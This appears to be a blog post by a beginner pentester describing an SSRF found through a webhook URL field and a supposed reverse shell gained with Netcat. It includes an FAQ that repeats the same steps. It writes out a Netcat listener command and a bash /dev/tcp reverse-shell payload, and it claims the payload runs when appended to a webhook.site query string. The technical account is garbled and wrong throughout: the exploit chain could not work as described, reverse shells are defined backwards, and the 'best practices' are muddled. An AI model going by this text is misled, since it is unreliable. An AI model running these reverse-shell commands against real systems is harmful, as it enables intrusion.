Understanding SSRF and URL Injection

Oct 13, 2025 by wbrum.org 51 views

As a beginner pentester, I'm always on the lookout for new challenges to hone my skills. Recently, I was testing a bug bounty website and stumbled upon a potential Server-Side Request Forgery (SSRF) vulnerability by URL injection. This vulnerability allowed the server's backend to send a POST request to a specified URL, which I tested using webhook.site. In this article, I'll walk you through the steps I took to reverse shell my own machine and what I learned from the experience.

Understanding SSRF and URL Injection

Before we dive into the technical details, let's quickly cover what SSRF and URL injection are. SSRF is a type of web application vulnerability that allows an attacker to trick the server into making requests to unintended destinations. This can be achieved through various means, including URL injection, which involves manipulating the URL of a request to point to a different location.

Identifying the Vulnerability

In this case, the bug bounty website had a feature that allowed users to input a URL for a webhook notification. The server would then send a POST request to the specified URL whenever a certain event occurred. I noticed that the URL input field was not properly sanitized, which meant that I could inject malicious URLs to trick the server into making requests to unintended destinations.

Exploiting the Vulnerability

To exploit the vulnerability, I used webhook.site to create a temporary URL that would receive the POST request from the server. I then input the webhook URL into the bug bounty website's webhook notification feature. When the server sent the POST request to the webhook URL, I was able to intercept the request and examine its contents.

Setting up a Reverse Shell

Now that I had a way to intercept the POST request, I needed to set up a reverse shell to gain access to the server. A reverse shell is a type of shell that allows an attacker to connect to a remote server and execute commands on it. To set up a reverse shell, I used a tool called Netcat, which is a powerful network utility that can be used for a variety of tasks, including creating reverse shells.

Creating a Reverse Shell with Netcat

To create a reverse shell with Netcat, I followed these steps:

Install Netcat: I installed Netcat on my local machine using the package manager.
Create a listener: I created a listener on my local machine using the following command: nc -l -p 4444
Create a reverse shell payload: I created a reverse shell payload using the following command: bash -i >& /dev/tcp/localhost/4444 0>&1
Inject the payload: I injected the reverse shell payload into the webhook URL using the following command: webhook.site/1234567890abcdef?bash -i >& /dev/tcp/localhost/4444 0>&1

Executing the Reverse Shell

Once I had set up the reverse shell, I waited for the server to send the POST request to the webhook URL. When the request was received, I was able to execute the reverse shell payload and gain access to the server.

What I Learned

This experience taught me the importance of proper input validation and sanitization when handling user input. It also highlighted the need for regular security testing and vulnerability assessment to identify and fix potential security issues.

Conclusion

In conclusion, reversing a shell on my own machine was a challenging but rewarding experience. It taught me the importance of proper input validation and sanitization, as well as the need for regular security testing and vulnerability assessment. I hope that this article has provided valuable insights into the world of reverse shells and Netcat, and has inspired you to try your hand at creating your own reverse shell.

Additional Resources

For those interested in learning more about reverse shells and Netcat, I recommend checking out the following resources:

Netcat documentation: The official Netcat documentation provides a wealth of information on how to use the tool for various tasks, including creating reverse shells.
Reverse shell tutorials: There are many online tutorials and guides available that provide step-by-step instructions on how to create a reverse shell using Netcat.
Bug bounty websites: Bug bounty websites like HackerOne and Bugcrowd provide a platform for security researchers to test their skills and earn rewards for identifying vulnerabilities.

Final Thoughts

As a beginner pentester, I'm often asked about my experiences with reversing shells and Netcat. In this article, I'll answer some of the most frequently asked questions about reversing a shell on my own machine.

Q: What is a reverse shell?

A: A reverse shell is a type of shell that allows an attacker to connect to a remote server and execute commands on it. It's called "reverse" because the attacker is connecting to the server, rather than the server connecting to the attacker.

Q: How do I create a reverse shell?

A: There are several ways to create a reverse shell, but one of the most common methods is to use a tool called Netcat. Netcat is a powerful network utility that can be used to create reverse shells, as well as for other tasks such as port scanning and file transfer.

Q: What is Netcat?

A: Netcat is a network utility that can be used to create reverse shells, as well as for other tasks such as port scanning and file transfer. It's a powerful tool that can be used to connect to a remote server and execute commands on it.

Q: How do I use Netcat to create a reverse shell?

A: To use Netcat to create a reverse shell, you'll need to follow these steps:

Install Netcat: You'll need to install Netcat on your local machine.
Create a listener: You'll need to create a listener on your local machine using the following command: nc -l -p 4444
Create a reverse shell payload: You'll need to create a reverse shell payload using the following command: bash -i >& /dev/tcp/localhost/4444 0>&1
Inject the payload: You'll need to inject the reverse shell payload into the webhook URL using the following command: webhook.site/1234567890abcdef?bash -i >& /dev/tcp/localhost/4444 0>&1

Q: What is a webhook URL?

A: A webhook URL is a URL that is used to receive notifications from a server. In the context of reversing a shell, a webhook URL is used to receive the reverse shell payload from the server.

Q: How do I inject the reverse shell payload into the webhook URL?

A: To inject the reverse shell payload into the webhook URL, you'll need to use a tool such as Burp Suite or ZAP to intercept the request and modify the URL to include the reverse shell payload.

Q: What are some common mistakes to avoid when reversing a shell?

A: Some common mistakes to avoid when reversing a shell include:

Not properly sanitizing user input: Failing to properly sanitize user input can lead to security vulnerabilities such as SQL injection and cross-site scripting (XSS).
Not using a secure protocol: Failing to use a secure protocol such as HTTPS can lead to man-in-the-middle (MITM) attacks.
Not using a secure reverse shell payload: Failing to use a secure reverse shell payload can lead to the payload being intercepted or modified by an attacker.

Q: What are some best practices for reversing a shell?

A: Some best practices for reversing a shell include:

Using a secure protocol: Always use a secure protocol such as HTTPS when reversing a shell.
Properly sanitizing user input: Always properly sanitize user input to prevent security vulnerabilities such as SQL injection and cross-site scripting (XSS).
Using a secure reverse shell payload: Always use a secure reverse shell payload to prevent the payload from being intercepted or modified by an attacker.

Q: What are some resources for learning more about reversing a shell?

A: Some resources for learning more about reversing a shell include:

Netcat documentation: The official Netcat documentation provides a wealth of information on how to use the tool for various tasks, including creating reverse shells.
Reverse shell tutorials: There are many online tutorials and guides available that provide step-by-step instructions on how to create a reverse shell using Netcat.
Bug bounty websites: Bug bounty websites such as HackerOne and Bugcrowd provide a platform for security researchers to test their skills and earn rewards for identifying vulnerabilities.

Conclusion

Reversing a shell on my own machine was a challenging but rewarding experience that taught me the importance of proper input validation and sanitization, as well as the need for regular security testing and vulnerability assessment. I hope that this article has provided valuable insights into the world of reverse shells and Netcat, and has inspired you to try your hand at creating your own reverse shell.